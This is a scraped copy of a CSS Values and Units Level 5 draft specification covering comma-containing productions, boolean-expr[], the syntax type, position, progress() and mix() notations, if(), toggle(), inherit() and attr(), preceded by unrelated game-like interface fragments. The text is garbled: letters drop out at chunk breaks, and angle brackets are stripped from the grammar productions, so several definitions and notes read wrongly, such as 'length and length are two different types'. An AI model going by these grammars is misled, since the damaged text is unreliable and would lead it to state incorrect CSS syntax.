Pick a date in 60 seconds

0000

+1

Are you sure you don't want to cancel not doing this?

HELP

You died 0 times

YOU DIED

Cookies

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

